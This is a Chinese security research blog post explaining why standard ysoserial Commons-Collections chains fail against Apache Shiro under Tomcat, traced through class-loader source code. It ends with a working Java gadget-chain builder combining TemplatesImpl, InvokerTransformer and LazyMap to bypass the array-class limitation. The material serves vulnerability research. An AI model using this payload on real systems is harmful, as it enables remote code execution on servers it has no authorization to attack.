shiro反序列化漏洞与tomcat类加载机制

2021-11-30

shiro反序列化漏洞中有个经典的现象，就是不能用ysoserial自带的链去打commons-collections3的依赖。有很多文章分析过，但总觉得没完全看懂，差了点什么。那么调试源码详细分析下这个问题。
添加commonscollections3.2.1依赖后，尝试反序列化打cc6链失败，是因为反序列化输入流ClassResolvingObjectInputStream重写了resolveClass方法：

protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
    try {
        return ClassUtils.forName(osc.getName());
    } catch (UnknownClassException e) {
        throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
    }
}

对比下正常反序列化流程的ObjectInputStream#resolveClass

protected Class<?> resolveClass(ObjectStreamClass desc)
    throws IOException, ClassNotFoundException
{
    String name = desc.getName();
    try {
        return Class.forName(name, false, latestUserDefinedLoader());
    } catch (ClassNotFoundException ex) {
        Class<?> cl = primClasses.get(name);
        if (cl != null) {
            return cl;
        } else {
            throw ex;
        }
    }
}

看上去大差不差，只是将原生的Class.forName改成了ClassUtils.forName

public static Class forName(String fqcn) throws UnknownClassException {

    Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);

    if (clazz == null) {
        if (log.isTraceEnabled()) {
            log.trace("Unable to load class named [" + fqcn +
                    "] from the thread context ClassLoader.  Trying the current ClassLoader...");
        }
        clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
    }

    if (clazz == null) {
        if (log.isTraceEnabled()) {
            log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader.  " +
                    "Trying the system/application ClassLoader...");
        }
        clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
    }

    if (clazz == null) {
        String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " +
                "system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.";
        throw new UnknownClassException(msg);
    }

    return clazz;
}

可以看到实际上ClassUtils.forName并没有调用原生的Class.forName，而是改成调用了几个CL_ACCESSOR的loadClass。这个accessor是ClassUtils的内部类

private static interface ClassLoaderAccessor {
    Class loadClass(String fqcn);
    InputStream getResourceStream(String name);
}

/**
 * @since 1.0
 */
private static abstract class ExceptionIgnoringAccessor implements ClassLoaderAccessor {

    public Class loadClass(String fqcn) {
        Class clazz = null;
        ClassLoader cl = getClassLoader();
        if (cl != null) {
            try {
                clazz = cl.loadClass(fqcn);
            } catch (ClassNotFoundException e) {
                if (log.isTraceEnabled()) {
                    log.trace("Unable to load clazz named [" + fqcn + "] from class loader [" + cl + "]");
                }
            }
        }
        return clazz;
    }

    public InputStream getResourceStream(String name) {
        InputStream is = null;
        ClassLoader cl = getClassLoader();
        if (cl != null) {
            is = cl.getResourceAsStream(name);
        }
        return is;
    }

    protected final ClassLoader getClassLoader() {
        try {
            return doGetClassLoader();
        } catch (Throwable t) {
            if (log.isDebugEnabled()) {
                log.debug("Unable to acquire ClassLoader.", t);
            }
        }
        return null;
    }

    protected abstract ClassLoader doGetClassLoader() throws Throwable;
}

调试时发现反序列化时前两个if都是调用tomcat的ParallelWebAppClassLoader的loadClass进行加载，第三处是调用tomcat的AppClassLoader的loadClass加载。
这里有些文章就会分析说是因为ClassLoader#loadClass不能加载数组类，而Class#forName可以加载数组类，所以导致利用失败。
这个现象确实是存在的，比如这样：

1 2	Class.forName("[Ljava.lang.String;");//成功 ClassLoader.getSystemClassLoader().loadClass("[Ljava.lang.String;");//失败

但也没必要当作一个固定的结论，可以分析下原因。
实际上Class#forName最后调用了一个native方法forName0对全类名进行了加载，而ClassLoader#loadClass并不能对应一个native方法，而是基于实现类的loadClass/findClass方法有不同实现的。我完全可以定义一个能加载数组类的ClassLoader

class MyClassLoader extends ClassLoader {
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        Class clazz = null;
        clazz = Class.forName(name);
        if (clazz == null) {
            throw new ClassNotFoundException(name);
        }
        return clazz;
    }
}

那么实际的类加载中loadClass是怎么实现的呢？先看看ClassLoader#loadClass

protected Class<?> loadClass(String name, boolean resolve)
    throws ClassNotFoundException
{
    synchronized (getClassLoadingLock(name)) {
        // First, check if the class has already been loaded
        Class<?> c = findLoadedClass(name);
        if (c == null) {
            long t0 = System.nanoTime();
            try {
                if (parent != null) {
                    c = parent.loadClass(name, false);
                } else {
                    c = findBootstrapClassOrNull(name);
                }
            } catch (ClassNotFoundException e) {
                // ClassNotFoundException thrown if class not found
                // from the non-null parent class loader
            }

            if (c == null) {
                // If still not found, then invoke findClass in order
                // to find the class.
                long t1 = System.nanoTime();
                c = findClass(name);

                // this is the defining class loader; record the stats
                sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                sun.misc.PerfCounter.getFindClasses().increment();
            }
        }
        if (resolve) {
            resolveClass(c);
        }
        return c;
    }
}

这相当于loadClass的原型，是实现了双亲委派模型的。一般来说ClassLoader的具体实现类都不会修改这个loadClass，而是改findClass方法，改写具体的搜索类的逻辑。比如最常用的URLClassLoader类，也就是ExtClassLoader和AppClassLoader的父类，就没有重写loadClass，而是重写了findClass：

protected Class<?> findClass(final String name)
    throws ClassNotFoundException
{
    final Class<?> result;
    try {
        result = AccessController.doPrivileged(
            new PrivilegedExceptionAction<Class<?>>() {
                public Class<?> run() throws ClassNotFoundException {
                    String path = name.replace('.', '/').concat(".class");
                    Resource res = ucp.getResource(path, false);
                    if (res != null) {
                        try {
                            return defineClass(name, res);
                        } catch (IOException e) {
                            throw new ClassNotFoundException(name, e);
                        }
                    } else {
                        return null;
                    }
                }
            }, acc);
    } catch (java.security.PrivilegedActionException pae) {
        throw (ClassNotFoundException) pae.getException();
    }
    if (result == null) {
        throw new ClassNotFoundException(name);
    }
    return result;
}

发现在这里将全类名转成了/a/b/c.class形式，然后调用defineClass去加载类文件。那么这里实际也解释了为什么常用的ClassLoader.getSystemClassLoader().loadClass无法加载数组，因为数组类的Class名称又带括号又带分号的，肯定对应不上文件。
但是这只能证明URLClassLoader不能加载数组类，tomcat中一般负责加载用户代码的类是ParallelWebappClassLoader，继承自WebappClassLoaderBase，实际上调用的也是WebappClassLoaderBase#loadClass

public Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {

    synchronized (getClassLoadingLock(name)) {
        if (log.isDebugEnabled())
            log.debug("loadClass(" + name + ", " + resolve + ")");
        Class<?> clazz = null;

        // Log access to stopped class loader
        checkStateForClassLoading(name);

        // (0) Check our previously loaded local class cache
        clazz = findLoadedClass0(name);
        if (clazz != null) {
            if (log.isDebugEnabled())
                log.debug("  Returning class from cache");
            if (resolve)
                resolveClass(clazz);
            return clazz;
        }

        // (0.1) Check our previously loaded class cache
        clazz = findLoadedClass(name);
        if (clazz != null) {
            if (log.isDebugEnabled())
                log.debug("  Returning class from cache");
            if (resolve)
                resolveClass(clazz);
            return clazz;
        }

        // (0.2) Try loading the class with the system class loader, to prevent
        //       the webapp from overriding Java SE classes. This implements
        //       SRV.10.7.2
        String resourceName = binaryNameToPath(name, false);

        ClassLoader javaseLoader = getJavaseClassLoader();
        boolean tryLoadingFromJavaseLoader;
        try {
            // Use getResource as it won't trigger an expensive
            // ClassNotFoundException if the resource is not available from
            // the Java SE class loader. However (see
            // https://bz.apache.org/bugzilla/show_bug.cgi?id=58125 for
            // details) when running under a security manager in rare cases
            // this call may trigger a ClassCircularityError.
            // See https://bz.apache.org/bugzilla/show_bug.cgi?id=61424 for
            // details of how this may trigger a StackOverflowError
            // Given these reported errors, catch Throwable to ensure any
            // other edge cases are also caught
            URL url;
            if (securityManager != null) {
                PrivilegedAction<URL> dp = new PrivilegedJavaseGetResource(resourceName);
                url = AccessController.doPrivileged(dp);
            } else {
                url = javaseLoader.getResource(resourceName);
            }
            tryLoadingFromJavaseLoader = (url != null);
        } catch (Throwable t) {
            // Swallow all exceptions apart from those that must be re-thrown
            ExceptionUtils.handleThrowable(t);
            // The getResource() trick won't work for this class. We have to
            // try loading it directly and accept that we might get a
            // ClassNotFoundException.
            tryLoadingFromJavaseLoader = true;
        }

        if (tryLoadingFromJavaseLoader) {
            try {
                clazz = javaseLoader.loadClass(name);
                if (clazz != null) {
                    if (resolve)
                        resolveClass(clazz);
                    return clazz;
                }
            } catch (ClassNotFoundException e) {
                // Ignore
            }
        }

        // (0.5) Permission to access this class when using a SecurityManager
        if (securityManager != null) {
            int i = name.lastIndexOf('.');
            if (i >= 0) {
                try {
                    securityManager.checkPackageAccess(name.substring(0,i));
                } catch (SecurityException se) {
                    String error = "Security Violation, attempt to use " +
                        "Restricted Class: " + name;
                    log.info(error, se);
                    throw new ClassNotFoundException(error, se);
                }
            }
        }

        boolean delegateLoad = delegate || filter(name, true);

        // (1) Delegate to our parent if requested
        if (delegateLoad) {
            if (log.isDebugEnabled())
                log.debug("  Delegating to parent classloader1 " + parent);
            try {
                clazz = Class.forName(name, false, parent);
                if (clazz != null) {
                    if (log.isDebugEnabled())
                        log.debug("  Loading class from parent");
                    if (resolve)
                        resolveClass(clazz);
                    return clazz;
                }
            } catch (ClassNotFoundException e) {
                // Ignore
            }
        }

        // (2) Search local repositories
        if (log.isDebugEnabled())
            log.debug("  Searching local repositories");
        try {
            clazz = findClass(name);
            if (clazz != null) {
                if (log.isDebugEnabled())
                    log.debug("  Loading class from local repository");
                if (resolve)
                    resolveClass(clazz);
                return clazz;
            }
        } catch (ClassNotFoundException e) {
            // Ignore
        }

        // (3) Delegate to parent unconditionally
        if (!delegateLoad) {
            if (log.isDebugEnabled())
                log.debug("  Delegating to parent classloader at end: " + parent);
            try {
                clazz = Class.forName(name, false, parent);
                if (clazz != null) {
                    if (log.isDebugEnabled())
                        log.debug("  Loading class from parent");
                    if (resolve)
                        resolveClass(clazz);
                    return clazz;
                }
            } catch (ClassNotFoundException e) {
                // Ignore
            }
        }
    }

    throw new ClassNotFoundException(name);
}

和前面说的一般不重写loadClass，而是重写findClass不同，实际上WebappClassLoaderBase重写了loadClass方法。这是因为tomcat设计上需要打破jdk默认的双亲委派机制。具体流程大概是这样：
1、先在tomcat的缓存中查找该类是否已经加载过
2、如果没有，在jdk的缓存里查找该类是否已经加载过
3、如果没有，则使用ExtClassLoader#loadClass加载，ExtClassLoader会走双亲委派。这里是为了在打破双亲委派的同时保留加载系统内置类的功能，绕过AppClassLoader。
4、如果没有加载成功，判断是否设置了delegate也就是遵循双亲委派，默认是false，就会调用WebAppClassLoader#findClass方法进行加载。
5、如果没有加载成功，会用父类加载器调用Class#forName进行加载，也就是用tomcat中的CommonClassLoader。
可以看到在这个过程里，实际上是既有Class#forName又有ClassLoader#loadClass的。而forName是可以加载数组类的，也就是说问题就出在WebAppClassLoader#findClass

public Class<?> findClass(String name) throws ClassNotFoundException {

    if (log.isDebugEnabled())
        log.debug("    findClass(" + name + ")");

    checkStateForClassLoading(name);

    // (1) Permission to define this class when using a SecurityManager
    if (securityManager != null) {
        int i = name.lastIndexOf('.');
        if (i >= 0) {
            try {
                if (log.isTraceEnabled())
                    log.trace("      securityManager.checkPackageDefinition");
                securityManager.checkPackageDefinition(name.substring(0,i));
            } catch (Exception se) {
                if (log.isTraceEnabled())
                    log.trace("      -->Exception-->ClassNotFoundException", se);
                throw new ClassNotFoundException(name, se);
            }
        }
    }

    // Ask our superclass to locate this class, if possible
    // (throws ClassNotFoundException if it is not found)
    Class<?> clazz = null;
    try {
        if (log.isTraceEnabled())
            log.trace("      findClassInternal(" + name + ")");
        try {
            if (securityManager != null) {
                PrivilegedAction<Class<?>> dp =
                    new PrivilegedFindClassByName(name);
                clazz = AccessController.doPrivileged(dp);
            } else {
                clazz = findClassInternal(name);
            }
......
    }
    return clazz;

}

看看findClassInternal

protected Class<?> findClassInternal(String name) {

    checkStateForResourceLoading(name);

    if (name == null) {
        return null;
    }
    String path = binaryNameToPath(name, true);

    ResourceEntry entry = resourceEntries.get(path);
    WebResource resource = null;

    if (entry == null) {
        resource = resources.getClassLoaderResource(path);

        if (!resource.exists()) {
            return null;
        }

        entry = new ResourceEntry();
        entry.lastModified = resource.getLastModified();

        // Add the entry in the local resource repository
        synchronized (resourceEntries) {
            // Ensures that all the threads which may be in a race to load
            // a particular class all end up with the same ResourceEntry
            // instance
            ResourceEntry entry2 = resourceEntries.get(path);
            if (entry2 == null) {
                resourceEntries.put(path, entry);
            } else {
                entry = entry2;
            }
        }
    }

    Class<?> clazz = entry.loadedClass;

    ......

        try {
            clazz = defineClass(name, binaryContent, 0,
                    binaryContent.length, new CodeSource(codeBase, certificates));
        } catch (UnsupportedClassVersionError ucve) {
            throw new UnsupportedClassVersionError(
                    ucve.getLocalizedMessage() + " " +
                    sm.getString("webappClassLoader.wrongVersion",
                            name));
        }
        entry.loadedClass = clazz;
    }

    return clazz;

具体流程先不看，name一开始就经过了binaryNameToPath

private String binaryNameToPath(String binaryName, boolean withLeadingSlash) {
    // 1 for leading '/', 6 for ".class"
    StringBuilder path = new StringBuilder(7 + binaryName.length());
    if (withLeadingSlash) {
        path.append('/');
    }
    path.append(binaryName.replace('.', '/'));
    path.append(CLASS_FILE_SUFFIX);
    return path.toString();
}

实际上也是和URLClassLoader#findClass类似的改成/a/b/c.class形式，通过文件名用defineClass加载，那么一样也不能加载数组类。
到这里也就知道具体的解释了，ParallelWebappClassLoader加载范围内的类，实际上就是WEB-INF/classes和WEB-INF/lib这两个路径下的类，是不能加载数组类的。
那么其他路径下的数组类，也就是用CommonClassLoader进行forName的方法进行加载。forName是可以加载数组类的，但要确认用CommonClassLoader作为类加载器是否能加载不在CommonClassLoader路径下的类。实际上CommonClassLoader是一个URLClassLoader，其中的URL只有tomcat/lib下面的jar包。
那这里就有有一个比较微妙的地方，也是之前分析类加载时忽略的地方：Class#forName进行类加载时会遵循双亲委派吗？
实际上根据经验，答案是会。因为我们调用默认的Class#forName时实际上是调用的native方法forName0，配置的类加载器是AppClassLoader，而此时是可以加载java.lang.String之类的内置类的。
说了这么多，结论就是在tomcat中，ParallelWebappClassLoader#loadClass不能加载自己web项目下的数组类，包括WEB-INF/classes和WEB-INF/lib两个目录，其他路径下的数组类可以加载。
解决方法，最通用的自然就是让payload里不出现数组类。CC中Transformer数组类实际上有两种功能：
1、InvokerTransformer调用Runtime#exec时需要循环调用解决不能序列化的问题
2、无法控制调用点输入时需要用ConstantTransforer传递常量值
解决第一点的话，就是不用Runtime#exec作为触发点，改用TemplatesImpl。解决第二点，就需要调用链能完全控制一个输入参数，一直传递到执行点，满足这个条件的就是CC6。拼接一下就行了

public class ShiroCC {

    public static void main(String[] args) throws Exception {
        //CC3
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);

        //CC2
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

        //CC6
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb");
        lazyMap.remove(templates);

        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,invokerTransformer);

        serialize(map2);
//        unserialize("ser.bin");



    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

也可以用JRMP之类的二次反序列化来绕过限制，但之前分析过JRMP链在JDK高版本(>8u241)是用不了的。

参考链接

https://blog.zsxsoft.com/post/35
http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
http://redteam.today/2019/09/20/shiro%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%A4%8D%E7%8E%B0/